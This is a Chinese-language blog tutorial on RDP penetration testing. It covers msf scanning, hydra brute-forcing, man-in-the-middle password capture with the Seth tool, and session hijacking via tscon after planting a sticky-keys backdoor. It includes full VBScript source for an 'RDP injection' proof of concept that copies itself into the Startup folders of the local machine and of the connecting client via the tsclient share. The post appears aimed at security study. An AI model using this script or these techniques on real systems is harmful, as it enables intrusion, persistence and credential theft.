rdp协议是加密的吗,rdp协议抓包分析

渗透测试通常情况下是以功能为导向的。一组协议通常能支持、实现一种功能。本文浅谈一下针对 RDP 协议的几种测试方法,也就是针对远程桌面这种功能的利用。本人水平有限,但仍希望对大家能有帮助。

基本介绍

这里讨论的是 windows 下的 rdp(Remote Display Protocol )协议,也就是 windows 的远程桌面。通过提供一个有效的用户账号密码即可登陆到服务端,进行图形界面下的操作。

信息收集

用 msf 中模块来识别 rdp 服务,速度很快。

scanner/rdp/rdp_scanner

msf 模块的 rdp 扫描过程浅析
nmap 没有精确识别 rdp 服务,msf 模块却能又快又好的识别,因吹斯听。稍微看下 rdp 协议数据包结构,然后用 wirehark 抓包分析一下 msf 模块的扫描过程。
rdp 数据包结构资料(只看前三页即可,就能看懂扫描的过程了)

https://wenku.baidu.com/view/f29f410552ea551810a68789.html

打开之后发现 wireshark 并没有识别出 rdp 协议,意料之外。忽略 tcp 三次握手的数据包,找到传送数据的包。

通过查看 rdp 数据包结构的资料,我们可以知道,windows 下的 rdp 数据包是经过 TPKT 协议封装之后的,所以我们在数据包上选择 decode as

找到 tpkt,点 ok。

然后就会发现 rdp 协议已经被正确解码了。

然后就很容易就能看出扫描的思路了,常规的扫描的套路。发个定制请求包,服务器给了回应了,就确定服务器运行的是某服务。

其实不让 wireshark 帮忙解码,也能看出来这常规的扫描套路。因为 msf 模块就是直接用正则匹配的数据包内容。瞅一眼 msf 模块的源码,看一下判断是否是 rdp 协议的核心逻辑。

第一个箭头处的正则表达式匹配了返回包的开头几个字节,只要匹配上了第二个箭头处的if成立就输出结果了。

渗透测试方法

凭据爆破

条件限制

目标 RDP 协议端口向你开放

演示

暴力破解服务器远程桌面账户密码,最好做一下前期的信息收集,猜测下目标的用户名,比如通过 smb 协议。如果 smb 协议可以爆破的话,还是爆破 smb 协议吧,因为 rdp 协议比较脆弱,经不起高速的爆破。

hydra 走起。轻轻地爆破,不能太暴力。(hydra 不支持 2008/7 之后系统)

肯定是要对 2008 以后的机器也进行测试的,所以我在 GitHub 上随便找了点工具,发现大体上实现思路是两个,一种是 windows 下 C# 实现的,一种是 linux 下靠 freerdp 实现。但是都不是太好用,还是自己用 python 写一个吧。

所用到的库:

https://github.com/citronneur/rdpy

对于不擅长写代码的我来说挺麻烦的,我还没写出来,本事不够。再说爆破 rdp 应该不是明智之选吧。

RDP中间人攻击

通过任意方式将受害者的流量欺骗至攻击者机器,然后再用相关的工具处理用户登陆远程桌面的流量。

条件限制

能够把受害者机器的流量欺骗至攻击者机器

受害者使用远程桌面

演示

RDP 中间人攻击工具 Seth

https://github.com/SySS-Research/Seth

稍微看看文档,直接运行。

去受害机登陆一个远程主机,然后再回来看结果,红色文字处及是抓到的明文密码,抓完密码就退出脚本,深藏功与名。

再看受害者机器这边,一脸懵逼,浑然不觉。

RDP注入

windows 下有个叫 Startup 的特殊目录,每次用户登陆的时候都会强制运行在之下的程序。当 A 远程登陆到 B 机器时,如果选择将 A 的 C 盘共享到远程主机,那么在此次会话中就出现了一个名为 tsclient 的共享指向主机 A 共享的磁盘。rdp 注入就是通过访问共享的方式把可执行文件放到 A 的 startup 目录下。

条件限制

用户登陆到远程主机

用户将本机的 C 盘分享到远程主机

当前用户在 startup 目录有写权限

演示

网上有 bat 的 poc,但是缺点很明显,运行时会显示 cmd 的黑框,所以我就用 vbs 写了一个不会显示黑框的。代码写的不好,算是抛砖引玉了。想要测试的时候把我做的中文注释都去掉,并且把脚本以 ANSI 编码格式保存然后拿去测试即可。

wscript.sleep 1000*5’定义一堆要用到的变量,创建两个要用到的对象DimWshShell,sudir,objFSO,sufile,fn,tsdir,tssubdir,tsusersu,tsdir2,tssubdir2Set WshShell = CreateObject(“wscript.Shell”)Set objFSO = CreateObject(“Scripting.FileSystemObject”)’把脚本复制到本机的启动目录,只复制到当前用户目录下,先取到目录路径sudir=WshShell.SpecialFolders(“StartUp”)fn=objFSO.GetFile(Wscript.scriptfullname).namesufile=sudir+”\”+fn’查看文件是否存在,不存在的话,就复制过去If Not objFSO.FileExists(sufile) Then   objFSO.GetFile(Wscript.scriptfullname).copy(sufile)End If’查看远程机器的用户目录Set tsdir=objFSO.GetFolder(“\\tsclient\C\Users”)Set tssubdir=tsdir.SubFolders’遍历目录,把普通用户的目录筛选出来for each f in tssubdir   If InStr(f,”All Users”)=0 then      If InStr(f,”Default”)=0 then         If InStr(f,”Default User”)=0 then            If InStr(f,”Public”)=0 then               tsusersu=f            End If         End If       End If   End IfNext’构造出远程机器上的启动目录并且复制过去tsusersu=tsusersu&”\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\”&fnIf Not objFSO.FileExists(tsusersu) Then   objFSO.GetFile(Wscript.scriptfullname).copy(tsusersu)End If’你想执行的其他代码,这里就就纯是个poc了,让他弹个窗’例如 wscript.CreateObject(“wscript.shell”).Run “你要执行的命令”,vbhideMsgBox “rdpinject success!”

现在 2008 上运行一下脚本,等待五秒之后会弹个窗(最好一句代码的做作用),看一眼启动路径有脚本,就成功了。

然后我用物理机去,远程登陆我的虚拟机 2008。

再看一眼我的启动目录(我把火绒关了,为了方便看效果,我估计会拦截)。

重启下我的机器(其实注销一下就能看到效果),成功弹窗,脚本被执行了。

RDP 会话劫持

在 system 权限下使用 tscon 连接到任意会话时不需要输入该用户的密码,所以就能在不知道其账户和密码的情况下以已登陆的其他账户的权限进行任意操作。

条件限制

已经获得 system 权限的 shell

演示

先放一个 shift 后门到 2008,再创建几个账户,加到管理员组,用他们登陆上去。然后锁屏。来到登陆界面。五下 shift 激活后门。执行 query user 看看有哪些会话。

连接 test1 试试,执行 tscon 3,屏幕一黑,就链接过去了,也没让输入密码。

总结

针对 RDP 协议较为通用渗透测试的手法还是挺多的。尤其是在已经进入目标内网之中,或者已经获得服务器管理员权限的 shell 时。

虽然直接爆破 RDP 可能不是明智之选,但是多个选择也就多条路,希望各位大佬发力,编写支持新版本 RDP 协议的爆破工具,不然也就只能等着 hydra 的作者更新了。

本文粗浅地介绍了下四种测试方法,加入了部分个人不成熟的想法,欢迎各位看官批评指正。

Published by

风君子

独自遨游何稽首 揭天掀地慰生平

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注